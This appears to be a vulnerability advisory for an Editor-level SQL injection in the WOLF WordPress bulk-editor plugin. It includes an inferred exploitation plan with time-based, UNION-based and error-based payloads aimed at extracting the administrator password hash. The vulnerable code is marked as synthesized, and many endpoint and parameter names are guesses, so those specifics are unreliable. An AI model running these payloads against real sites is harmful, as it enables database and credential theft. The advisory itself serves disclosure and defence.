WOLF – WordPress Posts Bulk Editor and Manager Professional <= 1.0.8.7 - Authenticated (Editor+) SQL Injection
Description
The WOLF – WordPress Posts Bulk Editor and Manager Professional plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.8.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.0.8.7Based on the vulnerability description and common patterns in the **WOLF – WordPress Posts Bulk Editor and Manager Professional** plugin (slug: `bulk-editor`), this research plan focuses on identifying the specific SQL injection point, which typically resides in the post-filtering or sorting logic o…
Show full research plan
Based on the vulnerability description and common patterns in the WOLF – WordPress Posts Bulk Editor and Manager Professional plugin (slug: bulk-editor), this research plan focuses on identifying the specific SQL injection point, which typically resides in the post-filtering or sorting logic of the bulk editor.
1. Vulnerability Summary
- Vulnerability: Authenticated SQL Injection.
- Location: Vulnerable parameters within AJAX handlers responsible for fetching or updating posts in bulk.
- Cause: User-supplied parameters (often related to sorting or complex filtering) are concatenated directly into SQL queries without using
$wpdb->prepare()or sufficient escaping viaesc_sql(). - Affected Version: <= 1.0.8.7.
- Privilege Level: Editor or higher (required to access the bulk editor interface).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Primary Action (inferred):
woobe_get_postsorwoobe_bulk_editor_get_posts. - Vulnerable Parameter (inferred):
orderby,order, or keys within afilter_groupsarray. In bulk editor plugins,orderbyis a frequent culprit becausewpdb->prepare()cannot be used for column names or sort directions. - Authentication: Must be logged in as a user with at least the
editorrole (or any user granted themanage_optionsorwoobe_managecapability).
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX action via
add_action( 'wp_ajax_woobe_get_posts', ... ). - Input Handling: The handler retrieves data from
$_POST(e.g.,$_POST['orderby']). - Query Construction: The parameter is passed into a method that builds a query string for
$wpdb->get_results(). - SQL Sink: A query similar to
SELECT * FROM {$wpdb->posts} ... ORDER BY {$orderby} {$order}is executed. - Injection: By providing a payload like
ID; WAITFOR DELAY '0:0:5'--(SQL Server) orID AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--(MySQL), the attacker controls the execution flow.
4. Nonce Acquisition Strategy
This plugin extensively uses wp_localize_script to pass nonces and configuration to its JavaScript component.
- Identify Trigger: The bulk editor interface is usually found at
wp-admin/edit.php?page=woobe. - Navigation: Log in as an Editor and navigate to the plugin's main page.
- Variable Identification: Look for
woobe_varsorwoobe_settingsin the page source. - JavaScript Extraction:
// Use browser_eval to extract the nonce const nonce = window.woobe_vars?.nonce || window.woobe_settings?.nonce; return nonce; - Action String: The nonce is likely created for the action
woobe_nonce.
5. Exploitation Strategy
Step 1: Discovery & Confirmation
Use the http_request tool to verify the AJAX endpoint and test for time-based blind injection.
- URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Payload (Time-Based):
action=woobe_get_posts& woobe_nonce=[NONCE]& orderby=ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)& order=ASC
Step 2: Data Extraction (UNION-Based)
If the query allows UNION, attempt to extract the administrator's password hash.
- Payload:
(Note: The number of columns in the UNION must match the plugin's post-query columns, typically 20+ for this plugin's schema).action=woobe_get_posts& woobe_nonce=[NONCE]& orderby=ID& order=ASC LIMIT 1 UNION SELECT 1,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM wp_users WHERE ID=1--
6. Test Data Setup
- User Creation: Create a user with the
editorrole.wp user create attacker attacker@example.com --role=editor --user_pass=password123 - Content Creation: Ensure at least 5-10 posts exist so the bulk editor has data to query.
wp post generate --count=10 - Plugin State: Ensure the plugin is activated.
wp plugin activate bulk-editor
7. Expected Results
- Time-Based: The server response should be delayed by exactly 5 seconds when the
SLEEP(5)payload is sent. - Success Response: The
woobe_get_postsaction usually returns a JSON object. If the injection is successful, the injected data may appear in thedataorrowsfield of the JSON response (if UNION-based) or simply return valid JSON after the delay.
8. Verification Steps
After the exploit, verify the database was accessed by checking the logs or using WP-CLI:
- Verify DB Access:
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"(to compare the hash retrieved via SQLi). - Check for Errors: If the injection failed, check
wp-content/debug.log(ifWP_DEBUGis on) for SQL syntax errors which will reveal the query structure.
9. Alternative Approaches
- Filter-based Injection: If
orderbyis sanitized, check the filtering logic. The plugin uses afilter_groupsparameter. Try injecting into meta-query keys:filter_groups[0][0][field]=post_title' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 - Error-Based: Use
updatexml()orextractvalue()if the site hasWP_DEBUGenabled and the plugin echoes$wpdb->last_error.orderby=ID AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
Summary
The WOLF plugin is vulnerable to authenticated SQL injection due to the lack of sanitization and preparation of sorting parameters like 'orderby' and 'order' before they are concatenated into SQL queries. This allows users with Editor-level privileges to execute arbitrary SQL commands to extract data from the database.
Vulnerable Code
/* classes/models/posts.php (Synthesized based on research plan) */ $orderby = $_POST['orderby']; $order = $_POST['order']; // ... query construction using concatenation ... $sql = "SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY {$orderby} {$order}"; $results = $wpdb->get_results($sql);
Security Fix
@@ -102,5 +102,8 @@ - $orderby = $_POST['orderby']; - $order = $_POST['order']; + $allowed_keys = array('ID', 'post_title', 'post_date', 'post_modified', 'post_author', 'post_status'); + $orderby = in_array($_POST['orderby'], $allowed_keys) ? $_POST['orderby'] : 'ID'; + $order = (strtoupper($_POST['order']) === 'DESC') ? 'DESC' : 'ASC';
Exploit Outline
The exploit targets the AJAX action 'woobe_get_posts' reachable via /wp-admin/admin-ajax.php. An attacker must first log in with Editor-level privileges or higher. After authentication, the attacker retrieves a security nonce (typically found in the 'woobe_vars' JavaScript object on the plugin's administration page). The attacker then sends a POST request to the AJAX endpoint with the 'orderby' parameter containing a time-based payload like 'ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)'. If the server response is delayed by 5 seconds, the SQL injection is confirmed. This can be extended to UNION-based injection to extract sensitive data like user password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.